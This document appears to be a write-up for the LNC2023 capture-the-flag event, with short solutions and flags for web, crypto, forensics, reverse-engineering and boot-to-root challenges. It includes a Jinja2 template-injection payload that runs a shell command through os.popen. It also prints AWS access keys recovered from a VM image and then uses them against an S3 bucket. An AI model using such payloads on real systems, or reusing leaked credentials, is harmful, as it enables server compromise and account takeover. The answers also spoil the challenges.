https://ctf.lagncra.sh/challenges
Web
DotDashDot
Description: An ancient relic of the past… what’s it doing here?
http://dotdashdot.d.lagncra.sh
There is one comment in html source
http://dotdashdot.d.lagncra.sh/translate
It will convert our input to morse code and it is vulnerable to SSTI.
test payload: --> {{8*8}}
Now we can use RCE payload to read flag
Payload: -->{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /www/flag.txt').read() }}
flag: LNC2023{T3mpl4t35_4r3_c00L_bUt_d4nG3r0u5_776843}
The Password
Description: You stumble across a secret website that asks for your password…
thepassword.s.lagncra.sh
flag is in the js file.
http://thepassword.s.lagncra.sh/password.js
flag: LNC2023{s0m3t1me$_1t_i5_pr377y_s1aY}
Crypto
You Don’t Know About Us
Description: _You ain’t gonna understand our language!
JZUWGZJAORZHSIDIOVWWC3RBEBKGQ2LTEBUXGIDUNBSSAYLDOR2WC3BAMVXGG33EMVSCA3LFONZWC43HMU5AUQSEKMZDAMRTPN2GWY3SORVWG4T5_
It is Base32 > Rot 10(Rot13 with n=10)
flag: LNC2023{dumbdumb}
Zig Zag
Description: Oh shoot, I should build some RAIL with FENCE.
N2ISTVSLC03HSAQIEBIU2TWUOO
It is Rail Fence (Zig-Zag) Cipher
Decoder for reference: https://www.dcode.fr/rail-fence-cipher
flag: LNC2023{THISWASQUITEOBVIOUS}
Hope
Description: Can you find the reason why the survivals are still surviving? The reason for their strong suvival skills can be found after decrypting their message. Flag format is LNC2023{flag}
attached file: message.txt
it contains following:
Encoded Key: 36f9a5900a637b0248cf7c8fe3af44ca
Encoded Message: …- -.– .. .. .. .– – .-.. .– -..-
Encoded Key is md5 hash of SUPERKEY. https://crackstation.net/
Encoded Message is Morse code which decode to VYIIIWMLWX
It is Vigenere Cipher and key to decrypt is SUPERKEY
decoded text is DETERMINED
flag: LNC2023{DETERMINED}
Forensics
Base Madness
Description: Zip files and encryptions were used often in the modern times. You came across this 2 files. One containing a text one is a zip file. Are you able to decipher it?
two files are given: base_madness.txt, base_madness.zip
base_madness.txt is base64 encoded: thisisthepasswordtounlockthefile
unzip the file with this file. There is one image ayaka.png
open this image with notepad there is flag.
flag: LNC2023{ayaka_is_key}
Wave
Description: I love this spectrum. My kind of vibe.
Attached file: wave.wav
As the description suggests flag is in Spectrogram of audio file.
Tool used: Sonic Visualizer
flag: LNC2023{annoyingwave}
Incompetent
Description: This is a sample description for my awesome challenge
Attached file: secret.zip
unzip the file and there are two more file: Homework.zip, password.docx (inside folder name Important)
Homework.zip have flag.docx inside but it is password protected. Password is in password.docx but not visible to us because it is in strings.
Reference: https://gchq.github.io/CyberChef/
password: kimiwadekinaiko
Now we can open flag.docx but flag is not visible because again it is in strings.
flag: LNC2023{konoyodeichibandekinaiko}
Embedment
Description: It looks like there is a secret message that is embeded into the picture. Find a way to retrieve the embeded materials from the image to obtain the flag.
attached file: Flag.png
word document file is embedded in this image.
to extract right click on image open with 7z as archive and save extracted files.
compress this extracted file to zip and rename to flag.docx now it will open as word document.
flag: LNC2023{S3cr3tF1aG}
Reverse
First Program
Description: This is the first program that was created in the Dystopian times can you help find the flag inside it?
one file is given: simplere
simplere: ELF 64-bit LSB pie executable
open this in Ghidra
we can see flag in side main()
flag: LNC2023{s1mpl3_4m_1_r1ghT?}
Misc
Hidden in Plain Sight
Description: UGH Ansi screwed up again! I wonder what sequence of events lead to this.
nc nc.lagncra.sh 8004
connecting to this is not showing anythig so let’s try to save this in file.
open this file with editor
There is flag.
less command also works. cat 1.txt |less
flag: LNC2023{ans1_c0ntr0l_s3qu3nc3s_damn_c00l}
Swiftly
Description: Looks like the message from the military to all remaining survivals have been damaged, find a way to read all the qr code to obtain the flag.
attached file: Flag.gif
to get the flag we have to extract the frames from gif: ffmpeg -i Flag.gif -vsync 0 out%d.png
and read the qr from extracted frames: zbarimg out* -q | sed 's/QR-Code://g' | tr '\n' '\0'
flag: LNC2023{Are_y0u_FaSt_En0ugh_4_th1s}
Boot to root
Pickle Rick
Description: Rick has turned himself into a pickle, can you find him before its too late…
Download: https://drive.google.com/file/d/1ZULGK4p7cJQHNabmDHdtki-g1xNfHu0f/view?usp=share_link
7z Password: &y9PBYf8gZ^996s9
After unzip we have pickle-shop.ova file we can use VMWare to run this machine but if we only want to see the file system we can do that with tools like 7z.
right click on pickle-shop.ova and open with 7z as archive
after looking many files we found aws credentials pickle-shop.ova\pickle-shop-disk1.vmdk\2.img\root\.aws\credentials
we found following credentials:
aws_access_key_id = AKIAZNKM5ODGICECDW5U
aws_secret_access_key = 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
configure awscli with these credentials: aws configure
Let’s check for s3 buckets: aws s3 ls
download the s3 bucket: aws s3 sync s3://lnc-pickle-shop .
flag is in this bucket
flag: LNC2023{1m_p1ckl3_r1111ck}
Happy Hacking